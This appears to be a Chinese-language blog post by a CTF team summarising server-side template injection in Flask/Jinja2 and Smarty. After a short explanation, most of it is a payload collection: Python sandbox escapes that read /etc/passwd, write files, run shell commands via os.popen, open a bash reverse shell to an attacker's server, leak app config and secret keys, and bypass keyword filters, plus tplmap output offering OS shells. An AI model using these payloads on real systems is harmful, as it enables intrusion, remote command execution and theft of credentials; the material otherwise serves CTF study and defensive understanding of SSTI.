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一文了解SSTI和所有常见payload 以flask模板为例

前言

做的ctf题里有好几道跟SSTI有关
故对SSTI进行学习
在此做个小结与记录

主要是flask模板
后面遇到别的模板再陆续记录

1、什么是SSTI

SSTI，服务器端模板注入(Server-Side Template Injection)

• 服务端接收攻击者的输入，将其作为Web应用模板内容的一部分

• 在进行目标编译渲染的过程中，进行了语句的拼接，执行了所插入的恶意内容

• 从而导致信息泄露、代码执行、GetShell等问题

• 其影响范围主要取决于模版引擎的复杂性

注意：模板引擎 和 渲染函数 本身是没有漏洞的 , 该漏洞的产生原因在于程序员对代码的不严禁与不规范 , 导致了模板可控 , 从而引发代码注入

主要的框架

• Python：jinja2、 mako、 tornado、 django

• php：smarty、 twig

• java：jade、 velocity

2、基础知识

模板引擎是以业务逻辑层和表现层分离为目的的，将规定格式的模板代码转换为业务数据的算法实现

也就是说，利用模板引擎来生成前端的html代码，模板引擎会提供一套生成html代码的程序，然后只需要获取用户的数据，然后放到渲染函数里，然后生成模板+用户数据的前端html页面，然后反馈给浏览器，呈现在用户面前。

但是新的模板引擎往往会有一些安全问题 , 即使大部分模板引擎有提供沙箱隔离机制 , 但同样存在沙箱逃逸技术来绕过

页面渲染

• 前端渲染( SPA , 单页面应用 )
  浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 )
  浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户
  整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可

• 后端渲染( SSR , 服务器渲染 )
  浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 .
  整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可

参考后端渲染html、前端模板渲染html，jquery的html，各有什么区别？

3、flask模板

看得资料和做的题好多都是flask相关
所以下面的内容以 Flask 框架为例( Flask 使用 Jinja2 作为模板引擎)

Pycharm 内置的 Flask 框架

http://127.0.0.1:5000可见到欢迎界面

在 Run/Debug Configuration 中配置 DEBUG 模式

这样每次修改源文件后 , 仅需要保存并且刷新页面就可以看到内容更新了

注意：实际运行环境时是不可开启 DEBUG 模式的 , 非常危险

Flask 中的渲染方法有两种 : render_template() 和 render_template_string()

• render_template() 函数
  渲染一个指定的文件 , 这个指定的文件其实就是模板
  
  
  

• render_template_string() 函数
  渲染一个字符串
  
  
  注：SSTI与render_template_string()函数密不可分

4、SSTI原理

一个最简单的例子

@app.route('/test')def test():    html = '{{12*12}}'    return flask.render_template_string(html)




发现{{ --- }}其中的语句被执行了



这是因为在flask中，渲染引擎Jinja2会将{{ --- }}视为变量标识符，会将其包含的内容作为变量处理，从而包裹的语句被执行


那么，在上一段代码中，如果我们传入的参数内容为{{ --- }}包裹的代码，这些代码就会被执行


沙箱逃逸
在上述例子中，虽然已经可以实现任意代码执行，但由于模板本身的沙盒安全机制，某些语句虽然可以执行，却不会执行成功

即使在服务器端将os包含进来，但是在渲染时仍然会出现这个错误，这就是因为沙盒机制严格地限制了程序的行为

沙箱逃逸的过程简单讲如下

借助的主要是各个类之间的继承关系
一些内建魔术方法如下




__class__：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。






>>> ''.__class__<type 'str'>>>> ().__class__<type 'tuple'>>>> [].__class__<type 'list'>>>> {}.__class__<type 'dict'>



__bases__：用来查看类的基类，也可是使用数组索引来查看特定位置的值


>>> ().__class__.__bases__(<type 'object'>,)>>> ''.__class__.__bases__(<type 'basestring'>,)>>> [].__class__.__bases__(<type 'object'>,)>>> {}.__class__.__bases__(<type 'object'>,)>>> [].__class__.__bases__[0]<type 'object'>



__mro__：也可以获取基类






>>> ''.__class__.__mro__(<class 'str'>, <class 'object'>)>>> [].__class__.__mro__(<class 'list'>, <class 'object'>)>>> {}.__class__.__mro__(<class 'dict'>, <class 'object'>)>>> ().__class__.__mro__(<class 'tuple'>, <class 'object'>)>>> ().__class__.__mro__[1]            # 使用索引就能获取基类了<class 'object'>



SSTI主要就是活用各种魔术方法
5、引擎判断
服务端使用的各种引擎支持的语法是不同的
所以在找到SSTI注入点之后，首先应当判断模板所使用的渲染引擎
通常可以使用以下payload来简单测试：

绿色为执行成功，红色为执行失败
另：{{7*'7'}}在Twig中返回49，在Jinja2中返回77777777

6、SSTI利用
一些SSTI的利用方法
XSS

以 GET 方式从 URL 处获取 code 参数的值 , 然后将它输出到页面 .

这段代码非常容易看出来存在安全隐患 . 后端没有对用户输入的内容进行过滤 , 就直接将它输出到页面
输入端是完全可控的 . 这就产生了代码域与数据域的混淆


任意文件读写
这里就要用到上面所说的魔术方法了

仍然是上面这个源码



获取字符串的类对象


>>> ''.__class__<type 'str'>





寻找基类


>>> ''.__class__.__mro__(<type 'str'>, <type 'basestring'>, <type 'object'>)





寻找可用引用






>>> ''.__class__.__mro__[2].__subclasses__()[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]




可以看到有一个<type 'file'>


最终payload






''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()


也可以是




()..__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()object.__subclasses__()[40]('/etc/passwd').read()

写文件相仿




''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')().__class__.__bases__[0].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')object.__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')

任意代码执行
思路和任意文件读取非常类似 , 仅需要拿到 os 模块就可以了
可用payload如下




''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
# eval''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
#__import__''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell




''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

这个 Payload 不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误
可以使用 BurpSuite 等工具构造数据包再发送


其他


request.environ
一个与服务器环境相关的对象字典 . 访问该字典可以拿到很多你期待的信息




config.items
一个类字典的对象 , 包含了所有应用程序的配置值
在大多数情况下 , 它包含了比如数据库链接字符串 , 连接到第三方的凭证 , SECRET_KEY等敏感值






一个小脚本






{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b in c.__init__.__globals__.values() %}  {% if b.__class__ == {}.__class__ %}    {% if 'eval' in b.keys() %}      {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %}

7、一些绕过
对一些过滤的绕过方法
过滤了小括号
用python的内置函数


get_flashed_messages()


url_for()


payload




{{url_for.__globals__}}{{url_for.__globals__['current_app'].config['FLAG']}}
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

过滤了 class、 subclasses、 read等关键词
用request


GET: request.args


Cookies: request.cookies


Headers: request.headers


Environment: request.environ


Values: request.values


一些用法


request.__class__


request["__class__"]


request|attr("__class__")


payload




{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

过滤了下划线_
payload




{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

其实现过程如下




{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}{{request|attr(["_"*2,"class","_"*2]|join)}}{{request|attr(["__","class","__"]|join)}}{{request|attr("__class__")}}{{request.__class__}}

过滤了中括号[和]
payload




{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

过滤了|join
用|format
payload




{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

无敌绕过的最终RCE
绕过[，]检查，但不绕过__检查
使用该set函数来访问必需的object（i）类
pop()将检索file对象，然后使用我们的已知参数调用该对象
与初始RCE相似，这将创建一个python文件/tmp/foo.py并执行print 1337有效负载




{%set%20a,b,c,d,e,f,g,h,i%20=%20request.__class__.__mro__%}{{i.__subclasses__().pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337

绕过所有黑名单检查的最终RCE
（真牛逼）




{%set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337

8、神器tplmap
github
需要环境：PyYaml
例子




root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea"                             //判断是否是注入点[+] Tplmap 0.5    Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable[+] Smarty plugin is testing rendering with tag '*'[+] Smarty plugin is testing blind injection[+] Mako plugin is testing rendering with tag '${*}'[+] Mako plugin is testing blind injection[+] Python plugin is testing rendering with tag 'str(*)'[+] Python plugin is testing blind injection[+] Tornado plugin is testing rendering with tag '{{*}}'[+] Tornado plugin is testing blind injection[+] Jinja2 plugin is testing rendering with tag '{{*}}'[+] Jinja2 plugin has confirmed injection with tag '{{*}}'[+] Tplmap identified the following injection point:
  GET parameter: name                //说明可以注入，同时给出了详细信息  Engine: Jinja2  Injection: {{*}}  Context: text  OS: posix-linux  Technique: render  Capabilities:
   Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用   Bind and reverse shell: ok   File write: ok   File read: ok   Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:                                                                  //可以利用下面这些参数进行进一步的操作    --os-shell        Run shell on the target    --os-cmd        Execute shell commands    --bind-shell PORT      Connect to a shell bind to a target port    --reverse-shell HOST PORT  Send a shell back to the attacker's port    --upload LOCAL REMOTE  Upload files to the server    --download REMOTE LOCAL  Download remote files

9、smarty SSTI
smarty是基于PHP开发的，官方文档
于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别
注入点：


XFF


Client IP


确认漏洞：


输入{$smarty.version}，返回smarty的版本号


{php}{/php}标签
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令




{php}phpinfo();{/php}

但在Smarty3的官方手册里有以下描述：


Smarty已经废弃{php}标签，强烈建议不要使用


在Smarty 3.1，{php}仅在SmartyBC中可用


{literal}标签
官方手册这样描述这个标签：


{literal}可以让一个模板区域的字符原样输出


这经常用于保护页面上的Javascript或css样式表，避免因为Smarty的定界符而错被解析


在php5的环境中可以使用




<script language="php">phpinfo();</script>

php7就不能用了
静态方法
通过self获取Smarty类再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码




public function getStreamVariable($variable){        $_result = '';        $fp = fopen($variable, 'r+');        if ($fp) {            while (!feof($fp) && ($current_line = fgets($fp)) !== false) {                $_result .= $current_line;            }            fclose($fp);            return $_result;        }        $smarty = isset($this->smarty) ? $this->smarty : $this;        if ($smarty->error_unassigned) {            throw new SmartyException('Undefined stream variable "' . $variable . '"');        } else {            return null;        }    }

这个方法可以读取一个文件并返回其内容
所以我们可以用self来获取Smarty对象并调用这个方法
很多文章里给的payload都形如：




{self::getStreamVariable("file:///etc/passwd")}

但在3.1.30的Smarty版本中官方已经把该静态方法删除
{if}标签
官方文档中的描述：


Smarty的{if}条件判断和PHP的if非常相似，只是增加了一些特性


每个{if}必须有一个配对的{/if}，也可以使用{else} 和 {elseif}


全部的PHP条件表达式和函数都可以在if内使用，如||, or, &&, and, is_array(), 等等，如：{if is_array($array)}{/if}


payload




{if phpinfo()}{/if}

结语
对SSTI做了个总结归纳
参考


Server-Side Template Injection


Jinja2 template injection filter bypasses


SSTI完全学习


Flask/Jinja2 SSTI && Python 沙箱逃逸基础


从零学习flask模板注入


Smarty SSTI


CTF SSTI(服务器模板注入)











红客突击队于2019年由队长k龙牵头，联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩，积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员，下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨，旨在打造国际顶尖网络安全团队。



原文始发于微信公众号（红客突击队）：一文了解SSTI和所有常见payload 以flask模板为例